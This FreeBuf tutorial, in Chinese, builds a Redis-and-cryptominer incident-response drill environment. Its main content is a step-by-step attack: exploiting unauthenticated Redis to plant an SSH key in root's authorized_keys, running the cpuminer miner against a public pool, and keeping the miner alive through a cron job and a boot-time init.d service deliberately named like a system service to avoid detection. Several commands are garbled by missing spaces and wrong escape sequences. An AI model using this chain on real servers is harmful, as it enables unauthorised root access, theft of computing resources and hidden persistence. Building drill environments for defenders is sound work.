搭建Redis&Minerd安全应急演练环境

*本文原创作者:yuegui_2004,本文属FreeBuf原创奖励计划,未经许可禁止转载

近期公司需要进行一次安全运维应急演练,需要部署一套应急演练环境。想到几个月前公司的一台服务器的redis未认证授权漏洞导致被人放了挖矿程序,于是决定部署redis&minerd相结合的演练环境。

环境信息如下:

目标服务器:Centos 6 ;

目标IP:192.168.82.6;

首先需要安装redis,分别执行以下命令:

·        wget http://download.redis.io/releases/redis-3.2.5.tar.gz

·        tar xzf  redis-3.2.5.tar.gz

·        cd redis-3.2.5

·        make

·        make install

顺利执行完成之后,运行:redis-server即可运行redis服务;启动redis服务时,读取配置文件redis.conf信息进行相应配置;而redis.conf的其中有两项默认配置项需要进行修改,以便能够利用redis未认证授权漏洞。

将bind 127.0.0.1 修改为:bind 0.0.0.0;这样才能从外部机器访问到该redis服务;另外,protected-mode需要修改为no,将redis服务的protected模式关闭,否则通过redis客户端无法正常访问redis服务。

接下来就需要利用redis未认证授权漏洞获取192.168.82.6这台机器的无密码登录权限,具体的利用步骤晚上已经有很详细的说明,这里就不再赘述。

在任意可连接192.168.82.6这台服务器的机器上,执行以下命令:

·          ssh-keygen -t rsa

·         (echo -e "/n/n"; cat/root/.ssh/id_rsa.pub; echo -e "/n/n") > foo.txt

·         cat foo.txt|redis-cli -h 192.168.82.6 -x setcrackit

·         redis-cli -h 192.168.82.6

·        config set dir/root/.ssh/

·        config get dir

·        config set dbfilename"authorized_keys"

·        save

完成上面的操作,就可以无密码登录192.168.82.6,效果如下:

搭建Redis&Minerd安全应急演练环境

至此我们就能够成功获取192.168.82.6的root访问权限,接下来就该minerd登场了。minerd是一个比特币挖矿程序,能够运行在服务器上并消耗CPU资源。

可通过git clone https://github.com/pooler/cpuminer.git 下载源码包进行编译安装,具体的编译步骤按照 https://github.com/pooler/cpuminer 的说明步骤进行就可以。

安装成功之后,将会在目录下生成可执行程序minerd,执行minerd -h,输出以下内容表示安装成功。

 搭建Redis&Minerd安全应急演练环境

接下来就是如何在目标服务器上运行挖矿程序了,正常运行挖矿程序,需要有一个矿池,即挖矿服务器,在BTCC、Antpool、F2pool上随意注册一个即可,注册成功之后即可使用它们提供的矿池来启动你的挖矿程序了。

搭建Redis&Minerd安全应急演练环境

接下来在目标服务器上执行:minerd -ostratum+tcp://stratum.btcc.com:25 -u 矿池子账户 -p 任意密码;出现如下输出时即表示挖矿程序成功运行,再top一下看看CPU的使用率。

 搭建Redis&Minerd安全应急演练环境

搭建Redis&Minerd安全应急演练环境

可以让挖矿程序在后台运行,即使退出命令行界面,程序仍能正常运行。到这里,一个简单的利用redis漏洞运行minerd挖矿程序的环境就搭建完毕。但是当发现minerd进程运行消耗CPU时,可以将该进程kill掉,如何保证minerd进程被kill之后仍能继续启动执行呢?这里介绍两种方式,一种是通过定时任务的方式,一种是通过服务的方式。

定时任务的方式这里不再赘述,通过crontab -e添加定时任务启动时间和执行命令即可。

这里详细介绍一下服务的方式。该服务能够持续监测minerd是否在运行,如果没有在运行就会运行minerd;服务也可以做成开机自启动。该服务执行的内容如下,该服务是判断目标服务器的path环境变量配置的目录是否有minerd,如果存在则不处理,如果不存在可以将其他文件夹下的minerd复制到该目录下,然后判断minerd程序是否在执行,如果没有执行则运行挖矿程序:

搭建Redis&Minerd安全应急演练环境 

我们可以将该服务名设置为与系统服务相似的名称,达到混淆的目的,增大该服务的发现难度,这里我简单命名为sysservice。接着在/etc/init.d/下创建一个sysservice同名的文件,因为sysservice作为服务启动、停止、重启都会调用这里的内容,文件内容如下:

搭建Redis&Minerd安全应急演练环境

还差最后一步,做到开机启动,需要在/etc/rc3.d目录中新建一个链接文件指向sysservice(ln -sf/etc/init.d/sysservice S22sysservice,其中22表示服务的优先级,数字越小,启动的优先级越高),因为该目录是系统启动时自动搜索的目录,该目录下的符号连接文件的目标文件都将被运行。这样即使目标服务器重启也能启动sysservice,从而启动挖矿程序,这样一个掩藏较深的安全应急演练环境就搭建好了。

所谓知己知彼,方能百战百胜,在搭建安全演练环境的过程中,正式与攻击者的一种博弈,充分了解漏洞产生和利用的场景,在处理安全事件的过程中也能得心应手。

*本文原创作者:yuegui_2004,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论